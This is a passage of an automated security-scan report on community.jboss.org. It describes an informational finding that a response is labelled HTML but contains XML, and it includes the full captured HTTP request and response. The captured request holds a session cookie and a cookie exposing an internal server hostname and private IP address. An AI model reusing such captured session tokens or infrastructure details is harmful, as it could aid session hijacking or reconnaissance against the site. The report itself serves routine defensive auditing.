Date: Tue, 23 Aug 2011 19:40:56 GMT
Server: Apache
Last-Modified: Tue, 23 Aug 2011 12:42:07 GMT
ETag: "846b46-7209a-4ab2b860105c0"
Accept-Ranges: bytes
Cache-Control: max-age=315360000
Expires: Fri, 20 Aug 2021 19:40:56 GMT
Vary: Accept-Encoding
X-JSL: D=12646 t=1314128456753422
Connection: close
Content-Type: application/x-javascript
Content-Length: 467098

if(!jive.Selection){jive.Selection=$Class.extend({init:function(b,a,c){this._selection=jive.Selection.getSelection();if(b!=null){if(!jQuery.browser.msie){if(this._selection.rangeCount==0){this._select
...[SNIP]...
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />';E.iframeHTML+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';if(m.relaxedDomain){E.iframeHTML+='<script type="text/javascript">
...[SNIP]...

7. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://community.jboss.org
Path:   /view-favorite-activity.jspa

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain XML.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /view-favorite-activity.jspa?object=3776&contentObjectType=38&view=everyone&page=1&_=1314128482874 HTTP/1.1
Host: community.jboss.org
Proxy-Connection: keep-alive
Referer: http://community.jboss.org/blogs/marek-novotny/2011/04/27/seam-222final-security-release
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
X-J-Token: no-user
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: jive.server.info="serverName=community.jboss.org:serverPort=80:contextPath=:localName=clearspace02.app.mwc.hst.phx2.redhat.com:localPort=8080:localAddr=10.5.106.15"; JSESSIONID=CC89B88DC3C4E9509E03416E43D304C1.node0; jive.recentHistory.-1=33382c333737363b; __utma=153813930.2061982621.1314128480.1314128480.1314128480.1; __utmb=153813930.1.10.1314128480; __utmc=153813930; __utmz=153813930.1314128480.1.1.utmcsr=seamframework.org|utmccn=(referral)|utmcmd=referral|utmcct=/; rh_omni_tc=70160000000H4AoAAK; s_cc=true; s_ria=flash%2010%7Csilverlight%204.0; s_nr=1314128482484; s_vnum=1316720482495%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D; __switchTo5x=91; __unam=89e83e3-131f82950d2-3888f8d8-1

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 19:41:00 GMT
Server: Apache-Coyote/1.1
X-JAL: 5
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
X-JSL: D=9243 t=1314128461041711
Cache-Control: no-cache, private, no-store, must-revalidate, max-age=0
Content-Length: 118
Connection: close

<ul class="page-1 clearfix">
<li>
<span>No public bookmarks exist for this content.</span>
</li>
</ul>

Report generated by XSS.CX at Tue Aug 23 13:45:59 GMT-06:00 2011.